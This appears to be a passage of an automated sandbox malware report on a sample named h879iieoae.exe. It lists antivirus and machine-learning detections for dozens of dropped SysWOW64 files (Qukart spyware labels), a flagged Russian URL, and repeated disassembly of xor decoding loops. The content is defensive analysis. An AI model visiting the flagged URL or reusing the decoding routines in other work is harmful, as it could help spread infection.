Source: C:\Windows\SysWOW64\Emogai32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ahhhnd32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Windows\SysWOW64\Camgpi32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Ceampi32.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Avira: detection malicious, Label: TR/Spy.Qukart.NB
Source: C:\Windows\SysWOW64\Akghbg32.dll	Avira: detection malicious, Label: TR/ATRAPS.Gen

Multi AV Scanner detection for domain / URL

Source: http://tat-neftbank.ru/wcmd.htm

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\SysWOW64\Accicdme.dll	ReversingLabs: Detection: 90%
Source: C:\Windows\SysWOW64\Ahhhnd32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ajikgq32.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Akghbg32.dll	ReversingLabs: Detection: 89%
Source: C:\Windows\SysWOW64\Bdlhdkdf.dll	ReversingLabs: Detection: 100%
Source: C:\Windows\SysWOW64\Bpghkh32.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\Chfnmf32.dll	ReversingLabs: Detection: 88%
Source: C:\Windows\SysWOW64\Ckaenpam.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Clqdacnn.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ekpjke32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ekpkmk32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Fcjdhk32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Fehgpcld.dll	ReversingLabs: Detection: 92%
Source: C:\Windows\SysWOW64\Fkdfmkhi.dll	ReversingLabs: Detection: 88%
Source: C:\Windows\SysWOW64\Flhljo32.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\Foelkeee.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Gfdcflnh.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Hdgplo32.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Hjanmb32.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Hjdhea32.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\Hjjfnehb.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ibbpip32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ibigijoc.dll	ReversingLabs: Detection: 88%
Source: C:\Windows\SysWOW64\Iemjhp32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Ipqipqal.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\Jcofqqkm.dll	ReversingLabs: Detection: 91%
Source: C:\Windows\SysWOW64\Jdackq32.dll	ReversingLabs: Detection: 95%
Source: C:\Windows\SysWOW64\Jgemldcp.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Kfnpbj32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Khlnhl32.dll	ReversingLabs: Detection: 100%
Source: C:\Windows\SysWOW64\Lbfpda32.dll	ReversingLabs: Detection: 96%
Source: C:\Windows\SysWOW64\Lfcadoap.dll	ReversingLabs: Detection: 89%
Source: C:\Windows\SysWOW64\Lfjejf32.dll	ReversingLabs: Detection: 96%

Multi AV Scanner detection for submitted file

Source: h879iieoae.exe	ReversingLabs: Detection: 81%
Source: h879iieoae.exe	Virustotal: Detection: 81%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\SysWOW64\Accicdme.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Efgkjnfn.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bgibkegc.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bgamkfnl.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Cnjaioih.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Dfcboo32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ckaenpam.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Baagdk32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bnnampcf.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Eoappk32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ajikgq32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ajkolbad.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Chfnmf32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bdlhdkdf.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Cfnpmb32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Clqdacnn.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Dnhmjm32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bpghkh32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Edgbhcim.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bnpnbp32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ekpkmk32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ccapffke.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ekpjke32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Emogai32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ahhhnd32.dll	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Camgpi32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Dmfdkj32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Ceampi32.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bqjacldl.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Bmlhnnne.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Akghbg32.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: h879iieoae.exe

Joe Sandbox ML: detected

Source: h879iieoae.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	0_2_00403A6B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then add ebx, 04h	0_2_00403A6B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then jl 00403A8Fh	0_2_00403A6B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then add eax, 0Ch	0_2_00403A6B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then popad	0_2_00403A6B
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov ebx, dword ptr [eax]	0_2_0042E00C
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then pop edi	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov ebx, 00407EF8h	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then sub ecx, eax	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xor edx, edx	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then push eax	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then div edi	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xchg eax, ecx	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then add eax, edi	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then loop 00403B3Eh	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov eax, 0042A000h	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov ebx, 0042CD70h	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then sub ecx, eax	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xor edx, edx	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then push eax	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then div edi	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xchg eax, ecx	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then add eax, edi	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then loop 00403B9Eh	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then popad	0_2_00403AC7
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then je 00403A1Ch	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xor dword ptr [eax], ecx	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then inc eax	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then jne 004039F2h	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then mov eax, 0042A000h	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then je 00403A52h	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then xor dword ptr [eax], ecx	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then add eax, 04h	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then jne 00403A3Ah	0_2_004039CE
Source: C:\Users\user\Desktop\h879iieoae.exe	Code function: 4x nop then popad	0_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	1_2_00403A6B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then add ebx, 04h	1_2_00403A6B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then jl 00403A8Fh	1_2_00403A6B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then add eax, 0Ch	1_2_00403A6B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then popad	1_2_00403A6B
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then call 0042E00Ch	1_2_0042E000
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xor dword ptr [ebx], edx	1_2_0042E00C
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then cmp ebx, ecx	1_2_0042E00C
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then jl 0042E030h	1_2_0042E00C
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then popad	1_2_0042E00C
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then pop edi	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then mov ebx, 00407EF8h	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then sub ecx, eax	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xor edx, edx	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then push eax	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then div edi	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xchg eax, ecx	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then add eax, edi	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then loop 00403B3Eh	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then mov eax, 0042A000h	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then mov ebx, 0042CD70h	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then sub ecx, eax	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xor edx, edx	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then push eax	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then div edi	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xchg eax, ecx	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then add eax, edi	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then loop 00403B9Eh	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then popad	1_2_00403AC7
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then je 00403A1Ch	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then inc eax	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then jne 004039F2h	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then mov eax, 0042A000h	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then je 00403A52h	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then add eax, 04h	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then jne 00403A3Ah	1_2_004039CE
Source: C:\Windows\SysWOW64\Nejhbi32.exe	Code function: 4x nop then popad	1_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	2_2_00403A6B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then add ebx, 04h	2_2_00403A6B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then jl 00403A8Fh	2_2_00403A6B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then add eax, 0Ch	2_2_00403A6B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then popad	2_2_00403A6B
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then jne 0042E06Ch	2_2_0042E000
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then pop edi	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then mov ebx, 00407EF8h	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then sub ecx, eax	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xor edx, edx	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then push eax	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then div edi	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xchg eax, ecx	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then add eax, edi	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then loop 00403B3Eh	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then mov eax, 0042A000h	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then mov ebx, 0042CD70h	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then sub ecx, eax	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xor edx, edx	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then push eax	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then div edi	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xchg eax, ecx	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then add eax, edi	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then loop 00403B9Eh	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then popad	2_2_00403AC7
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xor dword ptr [eax], esi	2_2_0042E0A1
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then jmp 00401219h	2_2_0042E0A1
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then je 00403A1Ch	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xor dword ptr [eax], ecx	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then inc eax	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then jne 004039F2h	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then mov eax, 0042A000h	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then je 00403A52h	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then xor dword ptr [eax], ecx	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then add eax, 04h	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then jne 00403A3Ah	2_2_004039CE
Source: C:\Windows\SysWOW64\Ogjdllpi.exe	Code function: 4x nop then popad	2_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	3_2_00403A6B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add ebx, 04h	3_2_00403A6B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then jl 00403A8Fh	3_2_00403A6B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add eax, 0Ch	3_2_00403A6B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then popad	3_2_00403A6B
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then pushad	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov ebx, 00407EF8h	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov ecx, ebx	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then push eax	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then pop eax	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov esi, 2D4E56AAh	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then je 0042E0D2h	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then push eax	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xchg eax, ecx	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add eax, edi	3_2_0042E000
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then pop edi	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov ebx, 00407EF8h	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then sub ecx, eax	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xor edx, edx	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then push eax	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then div edi	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xchg eax, ecx	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add eax, edi	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then loop 00403B3Eh	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov eax, 0042A000h	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov ebx, 0042CD70h	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then sub ecx, eax	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xor edx, edx	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then push eax	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then div edi	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xchg eax, ecx	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add eax, edi	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then loop 00403B9Eh	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then popad	3_2_00403AC7
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then je 00403A1Ch	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xor dword ptr [eax], ecx	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then inc eax	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then jne 004039F2h	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then mov eax, 0042A000h	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then je 00403A52h	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then xor dword ptr [eax], ecx	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then add eax, 04h	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then jne 00403A3Ah	3_2_004039CE
Source: C:\Windows\SysWOW64\Opbieagi.exe	Code function: 4x nop then popad	3_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	4_2_00403A6B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then add ebx, 04h	4_2_00403A6B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then jl 00403A8Fh	4_2_00403A6B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then add eax, 0Ch	4_2_00403A6B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then popad	4_2_00403A6B
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	4_2_0042E00C
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then pop edi	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov ebx, 00407EF8h	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then sub ecx, eax	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xor edx, edx	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then push eax	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then div edi	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xchg eax, ecx	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then add eax, edi	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then loop 00403B3Eh	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov eax, 0042A000h	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov ebx, 0042CD70h	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then sub ecx, eax	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xor edx, edx	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then push eax	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then div edi	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xchg eax, ecx	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then add eax, edi	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then loop 00403B9Eh	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then popad	4_2_00403AC7
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then je 00403A1Ch	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then inc eax	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then jne 004039F2h	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then mov eax, 0042A000h	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then je 00403A52h	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then xor dword ptr [eax], ecx	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then add eax, 04h	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then jne 00403A3Ah	4_2_004039CE
Source: C:\Windows\SysWOW64\Oglabl32.exe	Code function: 4x nop then popad	4_2_004039CE
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then mov ecx, dword ptr [eax+04h]	5_2_00403A6B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add ebx, 04h	5_2_00403A6B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then jl 00403A8Fh	5_2_00403A6B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then add eax, 0Ch	5_2_00403A6B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then popad	5_2_00403A6B
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then test eax, eax	5_2_0042E000
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then inc eax	5_2_0042E000
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then cmp eax, ebx	5_2_0042E000
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then pop edi	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then mov ebx, 00407EF8h	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then sub ecx, eax	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then xor edx, edx	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then push eax	5_2_00403AC7
Source: C:\Windows\SysWOW64\Olijjb32.exe	Code function: 4x nop then div edi	5_2_00403AC7
